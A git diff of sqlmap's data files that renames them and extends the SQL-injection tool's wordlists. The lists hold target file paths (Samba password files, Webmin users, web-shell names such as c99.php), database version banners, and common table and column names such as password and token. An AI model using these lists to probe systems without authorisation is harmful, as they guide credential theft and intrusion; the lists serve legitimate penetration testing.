+/etc/samba/smb.conf
+/etc/samba/samba.conf
+/etc/samba/smb.conf.user
+/etc/samba/smbpasswd
+/etc/samba/smbusers
+/var/lib/pgsql/data/postgresql.conf
+/var/postgresql/db/postgresql.conf
+/etc/ipfw.conf
+/etc/firewall.rules
+/etc/ipfw.rules
+/usr/local/etc/webmin/miniserv.conf
+/etc/webmin/miniserv.conf
+/usr/local/etc/webmin/miniserv.users
+/etc/webmin/miniserv.users
+/etc/squirrelmail/config/config.php
+/etc/squirrelmail/config.php
+/etc/httpd/conf.d/squirrelmail.conf
+/usr/share/squirrelmail/config/config.php
+/private/etc/squirrelmail/config/config.php
+/srv/www/htdos/squirrelmail/config/config.php
+
+# Web shells
+
+/var/www/html/backdoor.php
+/var/www/html/b374k.php
+/var/www/html/c99.php
+/var/www/html/cmd.php
+/var/www/html/r57.php
+/var/www/html/shell.php
+/var/www/html/wso.php
+
+# Misc
+
+/app/app.js
+/app/configure.js
+/app/config/config.json
+/etc/grafana/grafana.ini
+/opt/kibana/config/kibana.yml
+/etc/kibana/kibana.yml
+/etc/elasticsearch/elasticsearch.yml
diff --git a/txt/common-outputs.txt b/data/txt/common-outputs.txt
similarity index 84%
rename from txt/common-outputs.txt
rename to data/txt/common-outputs.txt
index bf0b6e8d703..bd5061b8bf7 100644
--- a/txt/common-outputs.txt
+++ b/data/txt/common-outputs.txt
@@ -1,5 +1,5 @@
-# Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
-# See the file 'doc/COPYING' for copying permission
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+# See the file 'LICENSE' for copying permission
[Banners]
@@ -11,32 +11,84 @@
5.0.
5.1.
5.5.
+5.6.
+5.7.
6.0.
+8.0.
+8.1.
+8.2.
+8.3.
+8.4.
+9.0.
+9.1.
+9.2.
+9.3.
# PostgreSQL
+PostgreSQL 7.0
+PostgreSQL 7.1
+PostgreSQL 7.2
PostgreSQL 7.3
PostgreSQL 7.4
+PostgreSQL 8.0
PostgreSQL 8.1
PostgreSQL 8.2
PostgreSQL 8.3
PostgreSQL 8.4
+PostgreSQL 8.5
+PostgreSQL 9.0
+PostgreSQL 9.1
+PostgreSQL 9.2
+PostgreSQL 9.3
+PostgreSQL 9.4
+PostgreSQL 9.5
+PostgreSQL 9.6
+PostgreSQL 10.
+PostgreSQL 11.
+PostgreSQL 12.
+PostgreSQL 13.
+PostgreSQL 14.
+PostgreSQL 15.
+PostgreSQL 16.
+PostgreSQL 17.
# Oracle
Oracle Database 9i Standard Edition Release
+Oracle Database 9i Standard Edition Release 9.
Oracle Database 9i Express Edition Release
+Oracle Database 9i Express Edition Release 9.
Oracle Database 9i Enterprise Edition Release
+Oracle Database 9i Enterprise Edition Release 9.
Oracle Database 10g Standard Edition Release
+Oracle Database 10g Standard Edition Release 10.
Oracle Database 10g Express Edition Release
Oracle Database 10g Enterprise Edition Release
+Oracle Database 10g Enterprise Edition Release 10.
Oracle Database 11g Standard Edition Release
+Oracle Database 11g Standard Edition Release 11.
Oracle Database 11g Express Edition Release
+Oracle Database 11g Express Edition Release 11.
Oracle Database 11g Enterprise Edition Release
+Oracle Database 11g Enterprise Edition Release 11.
+Oracle Database 12c
+Oracle Database 18c
+Oracle Database 19c
+Oracle Database 21c
+Oracle Database 23ai
+Oracle Database 26ai
# Microsoft SQL Server
Microsoft SQL Server 7.0
Microsoft SQL Server 2000
Microsoft SQL Server 2005
Microsoft SQL Server 2008
+Microsoft SQL Server 2012
+Microsoft SQL Server 2014
+Microsoft SQL Server 2016
+Microsoft SQL Server 2017
+Microsoft SQL Server 2019
+Microsoft SQL Server 2022
+Microsoft SQL Server 2025
[Users]
@@ -366,6 +418,7 @@ XDBWEBSERVICES
# MySQL
information_schema
+performance_schema
mysql
phpmyadmin
@@ -386,6 +439,10 @@ ReportServer
ReportServerTempDB
tempdb
+# Cloud Defaults
+rdsadmin
+innodb
+azure_maintenance
[Tables]
@@ -454,6 +511,44 @@ pma_relation
pma_table_coords
pma_table_info
+# Wordpress
+wp_users
+wp_posts
+wp_comments
+wp_options
+wp_postmeta
+wp_terms
+wp_term_taxonomy
+wp_term_relationships
+wp_links
+wp_commentmeta
+
+# WooCommerce
+wp_woocommerce_sessions
+wp_woocommerce_api_keys
+wp_woocommerce_attribute_taxonomies
+
+# Magento
+catalog_product_entity
+sales_order
+sales_order_item
+customer_entity
+quote
+
+# Drupal
+node
+users
+field_data_body
+field_revision_body
+taxonomy_term_data
+taxonomy_vocabulary
+
+# Joomla
+joomla_users
+joomla_content
+joomla_categories
+joomla_modules
+
# PostgreSQL
pg_aggregate
pg_am
@@ -467,6 +562,8 @@ pg_cast
pg_class
pg_constraint
pg_conversion
+pg_cron_job
+pg_cron_job_run_detail
pg_database
pg_depend
pg_description
@@ -488,6 +585,7 @@ pg_rewrite
pg_shdepend
pg_shdescription
pg_statistic
+pg_stat_statements
pg_tablespace
pg_trigger
pg_ts_config
@@ -1020,6 +1118,29 @@ vVendor
WorkOrder
WorkOrderRouting
+# Common tables
+
+accounts
+admin
+audit
+backup
+config
+configuration
+customers
+data
+files
+history
+images
+log
+logs
+members
+messages
+orders
+products
+settings
+test
+tokens
+uploads
[Columns]
@@ -1064,3 +1185,148 @@ Update_priv
User
x509_issuer
x509_subject
+
+# Oracle (types)
+BINARY_INTEGER
+BLOB
+BOOLEAN
+CHAR
+CLOB
+DATE
+INTERVAL
+LONG
+MLSLABEL
+NCHAR
+NCLOB
+NUMBER
+NVARCHAR2
+RAW
+ROWID
+TIMESTAMP
+VARCHAR
+VARCHAR2
+XMLType
+
+# MySQL (types)
+bigint
+blob
+char
+date
+datetime
+decimal
+double
+enum
+float
+int
+set
+smallint
+text
+time
+tinyint
+varchar
+year
+
+# Microsoft SQL Server (types)
+bigint
+binary
+bit
+char
+cursor
+date
+datetime
+datetime2
+datetimeoffset
+decimal
+float
+image
+int
+money
+nchar
+ntext
+numeric
+nvarchar
+real
+smalldatetime
+smallint
+smallmoney
+sql_variant
+table
+text
+time
+timestamp
+tinyint
+uniqueidentifier
+varbinary
+varchar
+xml
+
+# PostgreSQL (types)
+bigint
+bigserial
+boolean
+bpchar
+bytea
+character
+date
+decimal
+double precision
+int4
+integer
+interval
+money
+numeric
+real
+serial
+smallint
+text
+time
+timestamp
+
+# Common columns
+active
+address
+admin
+blocked
+category_id
+city
+confirmed
+country
+created_at
+created_on
+customer_id
+deleted
+deleted_at
+dob
+email
+enabled
+first_name
+flag
+gender
+hidden
+is_active
+is_deleted
+is_published
+last_name
+locked
+login
+modified_on
+name
+order_id
+password
+phone
+private
+product_id
+public
+role
+salt
+state
+status
+timestamp
+token
+type
+updated_at
+user_id
+username
+visible
+zip
+zip_code
diff --git a/txt/common-tables.txt b/data/txt/common-tables.txt
similarity index 75%
rename from txt/common-tables.txt
rename to data/txt/common-tables.txt
index e4fd4e2000b..855593c6af3 100644
--- a/txt/common-tables.txt
+++ b/data/txt/common-tables.txt
@@ -1,3368 +1,3422 @@
-# Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
-# See the file 'doc/COPYING' for copying permission
-
-users
-customer
-user
-orders
-employee
-x_world
-category
-project
-account
-customers
-country
-config
-groups
-inventory
-department
-categories
-messages
-person
-comments
-sessions
-student
-items
-employees
-language
-accounts
-product
-CUSTOMER
-faculty
-location
-item
-authors
-parts
-members
-countries
-status
-menu
-dependent
-modules
-role
-products
-page
-chart
-task
-posts
-DEPT
-Person
-user_role
-ORDERS
-emp
-album
-EMP
-log
-INVENTORY
-payments
-part
-permission
-contact
-borrower
-report
-color
-admin
-SALGRADE
-PRODUCT
-vendor
-tax
-branch
-projects
-data
-course
-jobs
-watchlist
-shipment_line
-CATEGORY
-categoryNames
-attributeCategory
-db
-PS_DMK
-study
-event
-invoice
-order_source
-topics
-students
-order_line
-regions
-CPG_config
-news
-dept
-permissions
-events
-shipment
-sections
-ITEM
-hosts
-form_definition_version
-alias
-people
-role_permission
-applications
-CPG_usergroups
-image
-organization
-courses
-loan
-form_definition
-configuration
-hibernate_unique_key
-order
-form_error
-payment
-Author
-history
-task_param
-movies
-dept_locations
-track
-services
-EMPLOYEE
-works_on
-patient
-Student
-form_data
-setting
-PUBLISHER
-partsgroup
-languages
-depositor
-CPG_categories
-book
-Orders
-job_history
-metadata
-exchangerate
-shipto
-rcpt
-team
-address
-tasks
-queue_info
-subscribers
-city
-field_options
-locations
-statename
-BOOK
-zuseserver
-ap
-ar
-Employees
-USER
-userInfo
-telephone
-session
-User
-video
-LOCATION
-tf_links
-ACCOUNT
-artist
-property
-the
-request
-acc_trans
-lending
-postaladdress
-Customers
-xmldocument
-jiveID
-domain
-promotion
-CPG_filetypes
-assembly
-business
-orderitems
-locale
-gl
-links
-located
-identities
-sizes
-companies
-payload
-Organization
-protocol
-transfers
-encompasses
-borders
-profiles
-salesorder
-mailbox
-contacts
-tables_priv
-admin_logs
-text
-phpbb_config
-plugin
-stores
-host
-Book
-gifi
-user_groups
-term
-internetaddress
-tf_settings
-region
-poll
-makemodel
-partstax
-catalog
-question
-vendors
-departments
-notes
-delivery_quality
-queries
-identification
-friends
-vcd_Screenshots
-PERSON
-course_section
-vcd_PornCategories
-pma_history
-jiveRemoteServerConf
-channels
-object
-chip_layout
-osc_products_options_values_to_products_options
-login
-user_newtalk
-vcd_MetaDataTypes
-entrants
-Device
-imageInfo
-developers
-div_experiment
-items_template
-defaults
-osc_products
-vcd_MetaData
-mucRoomProp
-QRTZ_JOB_DETAILS
-settings
-pma_bookmark
-DEPENDENT
-imageCategoryList
-islandIn
-mobile_menu_text
-jiveUserProp
-osc_products_options_values
-wp_posts
-package
-mucRoom
-vendortax
-vcd_Comments
-attrs
-config_seq
-company
-register
-checksum_results
-ENROLLMENT
-operation
-primarytest
-vcd_CoverTypes
-binaries
-COURSE_SECTION
-Students
-func
-enrollment
-pma_table_coords
-readers
-action_element
-vcd_VcdToPornstars
-osc_categories_description
-friend_statuses
-Domain
-servers
-UserFields
-revision
-meals
-resources
-mixins
-sys_options_cats
-licenses
-pma_relation
-SIGNON
-clients
-Apply
-vcd_CoversAllowedOnMediatypes
-ThumbnailKeyword
-form_definition_text
-vcd_Log
-system
-jiveOffline
-tickers
-BANNERDATA
-mucAffiliation
-fk_test_has_pk
-rooms
-objectcache
-collection_item_count
-div_stock_parent
-jiveRoster
-Volume
-lookup
-investigator
-math
-jivePrivate
-vcd_UserWishList
-osc_manufacturers_info
-primarytest2
-PROFILE
-categories_posts
-Flight
-Gallery
-scripts
-AUTHOR
-physician
-client
-cv_country_synonyms
-osc_categories
-interwiki
-logtest
-archive
-members_networks
-vcd_MovieCategories
-language_text
-UserType
-friend
-div_annotation_type
-osc_products_description
-osc_products_to_categories
-QRTZ_PAUSED_TRIGGER_GRPS
-article
-recentchanges
-vcd_UserLoans
-media
-vcd_SourceSites
-conducts
-sales
-CurrentUsers
-Country
-vcd_IMDB
-vcd_Borrowers
-querycache
-Publication
-Pilot
-div_stock
-Regions
-DEPT_LOCATIONS
-vcd_Users
-master_table
-vcd_VcdToUsers
-funny_jokes
-jos_vm_payment_method
-vcd_UserProperties
-osc_products_images
-specialty
-pma_pdf_pages
-visits
-div_allele_assay
-vcd_MediaTypes
-ipblocks
-WidgetPrices
-form_definition_version_text
-experiment
-Publisher
-control
-protocol_action
-jivePrivacyList
-vcd_VcdToPornStudios
-subImageInfo
-plugin_sid
-message_statuses
-state
-GalleryThumb
-hitcounter
-vcd_Pornstars
-QRTZ_BLOB_TRIGGERS
-div_generation
-jiveGroupProp
-ingredients
-community_item_count
-jiveExtComponentConf
-SEQUENCE
-Continent
-rights
-div_statistic_type
-Path
-osc_manufacturers
-logging
-colnametests
-QRTZ_FIRED_TRIGGERS
-div_locality
-sailors
-Description
-warehouse
-DEPARTMENT
-legacy_things
-jiveVCard
-agent
-CPG_bridge
-CUSTOMERS
-jiveProperty
-app_user
-keyboards
-div_unit_of_measure
-categorylinks
-grants
-Action
-div_trait
-div_trait_uom
-WidgetReferences
-product_type
-developers_projects
-userAttribute
-vcd_Sessions
-form_data_archive
-vcd_PornStudios
-action_attribute
-Thumbnail
-jiveGroupUser
-computers
-QRTZ_LOCKS
-vcd_PropertiesToUser
-customertax
-sector
-networks
-columns_priv
-globals
-div_obs_unit_sample
-Widgets
-TERM
-salgrade
-div_passport
-vcd_UserRoles
-mucMember
-imagelinks
-exchange
-Status
-WORKS_ON
-lines
-booleantests
-QRTZ_SIMPLE_TRIGGERS
-mobile_menu
-staff
-vcd_VcdToPornCategories
-tblusers
-hashes
-partner
-Product
-personnel
-ads
-vcd_Covers
-osc_specials
-Keyword
-supplier
-agent_specialty
-pokes
-profile_pictures
-oldimage
-div_poly_type
-osc_products_attributes_download
-div_allele
-isMember
-vcd_Images
-userImageRating
-detail_table
-osc_products_attributes
-pma_table_info
-officer
-div_obs_unit
-vcd_Settings
-COURSE
-Time
-locatedOn
-medicalprocedure
-fk_test_has_fk
-mergesWith
-author
-UserFieldsInfo
-Employee
-oe
-QRTZ_TRIGGERS
-insurance
-SUPPLIER
-div_aa_annotation
-song
-imageAttribute
-views_track
-extremes
-vcd_VcdToSources
-jiveRosterGroups
-webcal_config
-phpbb_ranks
-triggers_template
-appVersions
-vcd_RssFeeds
-DUMMY
-ROLE
-activity
-study_text
-osc_products_options
-City
-QRTZ_SCHEDULER_STATE
-osc_reviews
-edge
-questions
-partof
-blobs
-QRTZ_CRON_TRIGGERS
-tag
-userSession
-vcd
-pma_column_info
-auto_id_tests
-job
-site_stats
-mucConversationLog
-sequence
-madewith
-OperationStatus
-SPJ
-turizmi_ge
-zutat_cocktail
-DWE_Internal_WF_Attributes
-zipcodes
-insertids
-ChemList
-product_category
-foreigntest2
-hero
-cmContentVersionDigitalAsset
-reports
-devel_logsql
-f_sequence
-MEMBER
-ClassificationScheme
-ez_webstats_conf
-credential
-utilise
-cmDigitalAsset
-ACL_table
-service_request_log
-feedback
-vars
-tblblogentriescategories
-assignment
-CUST_HIST
-ew_menu
-time_zone_transition_type
-child_configs
-LIBRARY_BRANCH
-Company
-Component
-webcal_entry_log
-transactions
-webcal_entry_ext_user
-dept_location
-ConsultantsTable
-phonelist
-sys_acl_actions
-participate
-population
-dtb_order
-files_config
-PropColumnMap
-result
-pma_designer_coords
-triggers
-audittrail
-f_attributedependencies
-organization_type_package_map
-DWE_Corr_Sets
-userlist
-backgroundJob_table
-sf_guard_user_permission
-my_lake
-DWE_Corr_Tokens
-sampleData
-qrtz_blob_triggers
-reciprocal_partnersites
-rss_categories
-ADMIN
-site_map_ge
-Factory_Output
-geo_Estuary
-phpbb_themes
-forum
-ClientsTable
-mushroom_trainset
-rating_track
-iplinks
-maxcodevento
-reciprocal_admin
-ew_moduli
-CheckType
-cmLanguage
-phpbb_points_config
-guava_sysmodules
-querycachetwo
-soc_da_polit_ge
-BOOK_AUTHORS
-records
-reciprocal_config
-newsletter_queue
-passwds
-phpbb_posts_text
-biosample
-connectorassocs
-BOOK_COPIES
-jos_sections
-vote
-SCRIPT
-THOT_CATEGORY
-artifact
-object_types
-pages
-usuario
-CE_table
-phpbb_forums
-tbl_country
-Products
-dtb_bat_order_daily
-site_wtype
-geo_mountain
-expression
-Simple_Response
-photoo
-photos
-child_config_traffic_selector
-version_data
-allocation
-dtb_category_total_count
-habilidad
-PREFIX_group_lang
-work_orders
-SELLER
-cv_soil
-taxon
-bkp_ItemResource
-ezcontentobject_trash
-webcal_view
-pagecontent
-Collection
-maxcodcurso
-self_government_ge
-phpbb_user_group
-InstanceStringTable
-bldg_types
-t1
-mailaddresses
-section
-m_type
-configlist
-cmRepositoryContentTypeDefinition
-trade
-Parameter
-jforum_privmsgs
-tbl_works_categories
-help_category
-bkp_String
-Class_Display_Sequence
-EPIXEIRISI
-sounds
-phpbb_groups
-dtb_campaign
-produit
-adblocks
-vendor_seq
-guava_theme_modules
-dtb_pagelayout
-bookings
-cmPublicationDetail
-writes
-writer
-distance
-DWE_Resource_Attributes
-jforum_groups
-Polynomial
-river
-GROUP
-sea
-IDIOTIS
-cmPublication
-last
-UsageParameter
-phpbb_topics
-t_peep
-PREFIX_group
-dtb_delivfee
-equipment_type_seq
-wp_users
-news_category
-SchemaInfo
-WidgetDescriptions
-dtb_category_count
-sidebar
-R1Weights
-humanitaruli_ge
-cmTransactionHistory
-facets
-jforum_roles
-samedicino_ge
-qrtz_job_listeners
-geo_Lake
-religion
-nuke_gallery_media_class
-cia
-DatabaseInfo
-R2TF
-THOT_THEME
-R1Length
-cmContentRelation
-S2ODTMAP
-enrolled
-liste_domaines
-DEMO_PROJECTS
-ORDERSTATUS
-site_iwis
-MountainOnIsland
-bkp_ItemReference
-Category
-Mountain
-INSTITUTE
-POINT
-forum_vote
-THOT_TYPE
-cmts_track
-bkp_ItemReplication
-hostbenchmarks
-filearchive
-f_spatialcontext
-UM_ROLE_ATTRIBUTES
-SCALE
-maclinks
-books
-DWE_Predecessors
-interactions
-graphs_items
-stars
-BID
-enrolls
-site_environment
-user_types
-Severity
-partscustomer
-wp_pod_types
-River
-marital_status
-PZ
-PN
-email
-CustomerCards
-mtb_zip
-Campus
-R1Size
-hardware
-dtb_other_deliv
-pricegroup
-commissionEmployees
-cv_pests_diseases
-tbl_tech
-macswitches
-cc_config
-audit
-colour
-command
-audio
-egresado
-aggtest
-transport
-zusti_da_sabuneb_ge
-div_scoring_tech_type
-R2Weights
-schedule
-routers
-zips
-DWE_Delay_Timers
-Descriptions
-software
-wh_der_children
-delivery
-placex
-cv_crops
-problem
-Station_Data
-account_transaction
-time_zone_name
-numedia
-THOT_DEEP
-ZENTRACK_VARFIELD_IDX
-roads_endpoints
-Propdesc_table
-general_log
-peer_configs
-hot_prop
-phones
-ServiceBinding
-emailinfo
-dtb_member
-cmSiteNode
-nodes
-sbreciprocal_cats
-rss_read
-DWE_Workflow_Documents
-bombing
-tblblogtrackbacks
-fragment
-dtb_review
-tblblogsearchstats
-datasources
-CPG_users
-vrls_partners
-guava_roles
-webcal_user_layers
-ANSWER_GROUP_DETAIL
-tbl_clients
-dtb_kiyaku
-EmailAddress
-Sea
-powers
-QRTZ_CALENDARS
-reserve
-LINEITEM
-project_user_xref
-Agent
-idioma
-dtb_campaign_detail
-jos_components
-user_rights
-tf_messages
-Class_Def_Table
-geo_lake
-copytest
-tissue
-ligneDeFacture
-PZ_Data
-tf_cookies
-archtypes
-cmts
-photo
-dtb_bloc
-user_preferences
-music_ge
-D_Abbreviation
-data_set_association
-site_location
-jforum_posts
-Property
-pg_ts_dict
-badspy
-gearing
-credenziali
-abstract
-evidence
-files
-test
-intUsers
-div_treatment
-tblblogentries
-cocktail_person
-cdv_curated_allele
-REORDER
-Religion
-turns
-MetadataValue
-curso
-redirect
-accountuser
-qrtz_cron_triggers
-StateType
-forum_user_stat
-Descriptions_Languages
-m_users_profile
-Booked_On
-not_null_with_default_test
-tblblogroles
-organizations
-topic
-economy
-DWE_Org_Resources
-Model
-maxcodcorreo
-RATING
-Transactions
-Chemicals
-m_data
-USER_GROUP
-equipment_type
-geo_Island
-sysmaps
-ezin_roles
-phpbb_themes_name
-dtb_send_history
-dtb_send_customer
-cart
-size
-pg_ts_cfgmap
-LimitTest2
-QUESTION
-DC_Data
-webcal_group_user
-telefono
-builds
-tbluserroles
-webcal_site_extras
-solde
-document
-m_users_acct
-vendor_types
-fruit
-DWE_Resources
-Service
-PART
-cell_line
-dtb_bat_order_daily_age
-images
-apartments
-THOT_ALPHA
-ippaths
-area
-SYNALLAGI
-sysmaps_hosts
-tbl_works
-statuses
-webcal_user
-customurl
-THOT_YEAR
-DWE_Subscriptions
-correo
-kultura_ge
-Factory_Master
-inv_lines_seq
-certificates
-webcal_asst
-ostypes
-POINT_SET
-R2IDF
-forum_flag
-bugs
-taxonomy
-UM_ROLES
-div_synonym
-payer
-tf_log
-job_title
-ask
-wp_options
-forum_user_activity
-trackbacks
-wp_pod_fields
-cmAvailableServiceBindingSiteNodeTypeDefinition
-translation
-cdv_passport_group
-User_
-Users
-access_control
-my_county
-zoph_people
-account_permissions
-ORDERLINES
-ganatlebe_ge
-wp_term_relationships
-pictures
-product_font
-Departure
-mushroom_test_results
-routerbenchmarks
-bkp_Item
-Channel_Data
-realtable
-mushroom_NBC_class
-odetails
-user_type_link
-eco_da_biz_ge
-belong
-ezin_users
-time_zone_transition
-ew_tabelle
-ezsearch_return_count_new
-cmSystemUserRole
-m_users
-div_accession_collecting
-Economy
-tbl_works_clients
-qrtz_locks
-geo_Mountain
-dtb_category
-tmp
-reservation
-geo_Desert
-dtb_payment
-forum_topic
-ezsearch_search_phrase_new
-jforum_attach
-sazog_urtiertoba_ge
-Equipment
-iuridiuli_ge
-MetadataSchemaRegistry
-basePlusCommissionEmployees
-addresses
-phpbb_search_wordlist
-user_defined_attribute
-fournisseurType
-dpt_trans
-PostalAddress
-defaultinsertid
-Politics
-pools
-cocktail_lokal
-dtb_blocposition
-templatelinks
-jforum_ranks
-D_Format_Data
-tblblogtextblocks
-time_zone_leap_second
-rss
-Decimation
-dtb_user_regist
-f_options
-siteIndexTable
-Administrator
-phpbb_users
-ezin_authors
-SpecificationLink
-videos
-sf_guard_remember_key
-employer
-monitoringi_ge
-leases
-phpbb_smilies
-stats
-f_spatialcontextgroup
-experiencia
-dtb_csv
-line_items_seq
-ndb_binlog_index
-zoph_categories
-help_topic
-div_treatment_uom
-transaction
-wp_links
-DWE_Organizations
-live_ge
-cdv_allele_curated_allele
-timeperiod
-item_master_seq
-GLI_profiles
-cv_countries
-qrtz_scheduler_state
-journal
-tf_users
-mwuser
-stories
-dtb_table_comment
-jforum_quota_limit
-Lake
-SQLDATES
-phpbb_search_wordmatch
-friend2
-functions
-comboboxes
-DWE_Max_Id
-std_item
-foreigntest
-jiveVersion
-sf_guard_group
-Classification
-Sensitivity
-PREFIX_category_group
-preferences
-credit
-geo_sea
-type
-knjiga
-FindCriteria
-zoph_prefs
-webcal_entry_repeats
-room
-domain_info
-SALES
-DWE_Tasks
-profession1
-SUPPORT_INCIDENTS
-PERMISSION
-Defect
-DWE_Task_Attributes
-grandchild_test
-Desert
-KARTA
-UM_ROLE_PERMISSIONS
-Purchases
-PREFIX_configuration
-guava_themes
-alltypes
-webcal_view_user
-vrls_xref_country
-R1TF
-subject
-continent
-D_Format
-dtb_recommend_products
-Linkdesc_table
-qrtz_fired_triggers
-TelephoneNumber
-dtb_customer_mail_temp
-copyrights
-jforum_extension_groups
-DEMO_ASSIGNMENTS
-guava_group_assignments
-jforum_extensions
-zutat
-ew_user
-duptest
-alerts
-partsvendor
-jiveGroup
-organization_seq
-dtb_customer_reading
-configuratore
-tbl_event
-my_street
-osvendors
-softwares
-Session
-admins
-TIL_IDIOTON
-EthnicGroup
-reviews
-tblblogentriesrelated
-guava_packages
-GRouteDetail
-cdv_reason
-nulltest
-membership
-bkp_RS_Servers
-vrls_listing_images
-schema_info
-entity
-group
-ClassificationNode
-dtb_best_products
-cv_cropping_system
-DWE_Workflows
-egresadoxidiomaxhabilidad
-locus_data
-dtb_order_temp
-tblblogsubscribers
-account_log
-facture
-MetadataFieldRegistry
-BRANCH
-orgs
-DM
-NextID_table
-webcal_group
-DC
-wp_pod_widgets
-chromosomes
-Name
-roster
-dtb_csv_sql
-synchro_type
-langlinks
-genres_in_movies
-qrtz_triggers
-Province
-answerOption
-wp_postmeta
-ERDESIGNER_VERSION_ID
-calendar
-cmEvent
-ruletest
-forum_user
-SalesReps
-ew_gruppi
-vrls_xref_state_province
-conferences
-pay
-Plane
-webcal_entry_repeats_not
-Island
-tbl_works_tech
-webcal_import
-nuke_gallery_comments
-monthlabel
-tblblogcomments
-dtb_delivtime
-product_size_multi
-manufacturer
-Tasks
-island
-coupon
-webcal_report
-RegistryPackage
-sysmaps_links
-procs_priv
-invoices_seq
-film
-genres
-field
-vertex
-FoundThumbs
-qrtz_trigger_listeners
-reciprocal_links
-DWE_Meta_Data
-Course
-idiomaxegresado
-ordreReparation
-Assigned_To
-ORDERITEMS
-PREFIX_product_attribute_image
-COLLECT_SITE
-THOT_CONCEPT
-publisher
-dtb_mailmaga_template
-DSObject_table
-forum_post
-sf_guard_permission
-Prefixes
-dtb_update
-BROWSE
-tf_rss
-TIME
-reciprocal_mails
-association
-typeFacture
-StringTable
-CATEGORIES
-Language
-mountain
-ad_locales
-ExtrinsicObject
-R2Size
-geo_island
-derived_types
-snipe_gallery_cat
-qrtz_job_details
-guava_roleviews
-production_wtype
-AccountXML1
-wh_man_children
-not_null_test
-product_colour_multi
-ike_configs
-intUseringroup
-study_user
-pg_ts_cfg
-connectorswitches
-procedure_biosample
-theday
-fournisseur
-typeProduit
-BOOKAUTHOR
-passwords
-keys
-AuditableEvent
-ExternalIdentifier
-source
-BOOK_LOANS
-UserRole
-vrls_xref_listing_offer_type
-cmRole
-PREFIX_search_engine
-my_poi
-Channel_Comment
-forum_cat
-invite
-PREFIX_order_return_state
-experimental_data_set
-DOCUMENT_FIELDS
-Scripts
-mushroom_dataset
-desert
-Can_Fly
-synchro_element
-maxcodtelefono
-enrollments
-tblblogpages
-f_attributedefinition
-intGroups
-way_nodes
-child_test
-THOT_TARGET
-MOMENT
-dtb_classcategory
-product_price
-relation_members
-PREFIX_access
-dtb_deliv
-webcal_categories
-Parts
-invoices
-QRTZ_JOB_LISTENERS
-ANSWER
-tbl_categories
-yearend
-DEPARTMENTS
-account_level
-ref
-help_relation
-zoph_users
-procedure_data_set
-Association
-mtb_pref
-ANSWER_GROUP
-GDirectedRoute
-graphs
-occasion
-account_temp
-nuke_gallery_categories
-areas
-cmContentVersion
-checksum_history
-mushroom_test_results_agg
-accessTable
-cameFromTable
-services_links
-Coefficients
-reglement
-maxcodexperiencia
-vrls_xref_listing_type
-adv
-lake
-tests
-Offices
-qrtz_simple_triggers
-Editor
-sazog_urtiertoba_ge2
-wp_pod_pages
-Extlangs
-seq_gen
-rss_subscription
-Station_Comment
-R1IDF
-jforum_config
-cmServiceDefinitionAvailableServiceBinding
-geo_River
-facilities
-connectorlinks
-file_storage
-neuf
-school
-wp_term_taxonomy
-m_plans
-ligneDeCommande
-FORM_QUESTION
-history_str
-f_classtype
-endpoints
-R2Length
-zoph_albums
-bkp_ItemPresentation
-tblblogcategories
-div_taxonomy
-traffic_selectors
-FORM
-qrtz_paused_trigger_grps
-creditcards
-people_reg
-country_partner
-jforum_users
-array_test
-dtb_mail_history
-priorities
-relations
-combustiblebois
-slow_log
-DWE_Resource_Roles
-WROTE
-flow
-pay_melodies
-dtb_templates
-variable_interest
-dtb_class
-ZENTRACK_VARFIELD
-catalogue
-uplebata_dacva_ge
-wp_usermeta
-time_zone
-games
-wp_terms
-sf_guard_user_group
-honorsinfo
-maxcodestudio
-estudio_academico
-RECORD
-Room
-alarms
-ew_temi
-clubs
-net_pm
-tbl_state
-cmContentTypeDefinition
-radacct
-peer_config_child_config
-cmAvailableServiceBinding
-cmSiteNodeVersion
-Poles_Zeros
-ipmacassocs
-m_news
-dtb_news
-shared_secrets
-UsageDescription
-rol
-phpbb_posts
-ipassocs
-cmSystemUser
-phpbb_categories
-FoundLists
-jforum_smilies
-channelitems
-lokal
-subcategory
-Languages
-jiveSASLAuthorized
-DWE_WF_Attributes
-cocktail
-cust_order
-mushroom_testset
-THOT_SOURCE
-product_font_multi
-presence
-UM_USERS
-jiveUser
-cmSiteNodeTypeDefinition
-wp_comments
-dtb_bat_order_daily_hour
-jos_vm_category
-CONTACT
-SpecialityTable
-librarian
-geo_river
-MonitorStatus
-pagelinks
-ways
-DWE_Roles
-jforum_vote_desc
-cities
-PREFIX_order_return_state_lang
-subscriber
-prereq
-Slot
-rss_item
-UM_USER_ROLES
-PREFIX_timezone
-evento
-guava_views
-cmServiceDefinition
-Variants
-searchindex
-actions
-cdv_passport_set
-production_multiple
-page_log_exclusion
-furniture
-nuke_gallery_pictures
-cmRepositoryLanguage
-oc
-os
-PREFIX_tab_lang
-lc_fields
-framework_email
-datasets
-sporti_ge
-externallinks
-geo_desert
-politics
-hourlyEmployees
-D_Comment
-EMPLOYEES
-individual
-m_with
-program
-combustible
-ezin_articles
-pma_tracking
-help_keyword
-POSITION
-stars_in_movies
-glas
-cmRepository
-dtb_mailtemplate
-DIM_TYPE
-cart_table
-D_Unit
-array_probe
-macassocs
-changeTva
-UM_PERMISSIONS
-geo_Source
-R1Sum
-cdv_marker
-nuke_gallery_template_types
-UM_USER_ATTRIBUTES
-Aircraft
-store
-Descriptions_Variants
-trigger_depends
-guava_role_assignments
-ExternalLink
-bkp_RS_Clusters
-PN_Data
-users_sessions
-webcal_nonuser_cals
-parent_test
-cmServiceBinding
-BUYER
-transcache
-dtb_question_result
-rss_category
-profiling
-QRTZ_TRIGGER_LISTENERS
-THOT_LANGUAGE
-cmContent
-Descriptions_Scripts
-DSProp_table
-webcal_report_template
-service_request
-resource_types
-THOT_SUB_MENU
-bkp_ResourceFolder
-PREFIX_tab
-province
-dtb_bat_relate_products
-changePrix
-proc
-ewst_sessioni
-nuke_gallery_media_types
-outdoor_spaces
-po_seq
-salariedEmployees
-grp
-jforum_topics
-defertest
-array_data
-most_recent_checksum
-m_earnings
-product_related
-dtb_baseinfo
-webcal_import_data
-federationApplicants
-qrtz_calendars
-melodies
-jforum_forums
-sf_guard_group_permission
-sys_acl_matrix
-R2ODTMAP
-mushroom_NBC
-country_diseases
-dtb_order_detail
-sic
-PROJECT
-log_fake_referers
-ROLE_PERM
-isDeleted_table
-vrls_listings
-Table
-sf_guard_user
-Subject
-cdv_curation
-dictionary
-forum_report
-institution
-cmQualifyer
-jforum_categories
-site_climatic
-phpbb_points_values
-zoph_color_schemes
-DWE_Internal_Task_Attributes
